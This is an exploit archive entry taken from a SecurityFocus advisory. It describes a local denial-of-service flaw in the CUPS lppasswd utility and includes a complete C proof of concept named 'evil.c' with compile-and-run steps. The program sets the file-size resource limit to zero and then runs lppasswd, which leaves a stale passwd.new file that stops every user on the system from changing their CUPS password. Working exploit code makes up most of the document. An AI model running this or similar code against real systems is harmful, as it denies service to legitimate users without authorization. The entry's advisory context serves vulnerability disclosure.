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49 lines
No EOL
1.9 KiB
C
49 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/12005/info
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Easy Software Products lppasswd is prone to a locally exploitable denial of service vulnerability. This issue occurs when the program attempts to write a file to the system that will exceed any file size resource limits in place. This presents a vulnerability since an unprivileged user with CUPS credentials may set these resource limits and then invoke the application. This will create an empty '/usr/local/etc/cups/passwd.new' file. If this file is present, then future invocations of lppasswd will fail.
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Successful exploitation will prevent users from changing their CUPS passwords with lppasswd.
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/*
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* evil.c
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* 2004.12.11
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* Bartlomiej Sieka
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*
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* This program executes the lpasswd(1) password changing utility
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* in way that prevents its further use, i.e. after this program
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* has been executed, all users on the system will be unable to change
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* their CUPS passwords. This is not a documented feature of lppasswd(1)
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* and is certainly unauthorized.
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*
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* This program has been tested with lppasswd(1) versions 1.1.19 and
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* 1.1.22 on FreeBSD 5.2.
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*
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* The recipe:
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* gcc -o evil evil.c
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* ./evil
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* Type in passwords as requested, and voila! This will create an empty
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* file /usr/local/etc/cups/passwd.new. The existence of this file makes
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* lppasswd(1) quit before changing users password with message
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* "lppasswd: Password file busy!".
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*/
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#include <sys/types.h>
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#include <sys/time.h>
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#include <sys/resource.h>
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#include <unistd.h>
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extern char **environ;
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int main(int argc, char **argv){
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char *cmd = "/usr/local/bin/lppasswd";
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char *args[] = { "/usr/local/bin/lppasswd", 0x00 };
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/* set the file size limit to 0 */
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struct rlimit rl;
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rl.rlim_cur = 0;
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rl.rlim_max = 0;
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setrlimit(RLIMIT_FSIZE, &rl);
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/* execute the poor victim */
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execve(cmd, args, environ);
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} |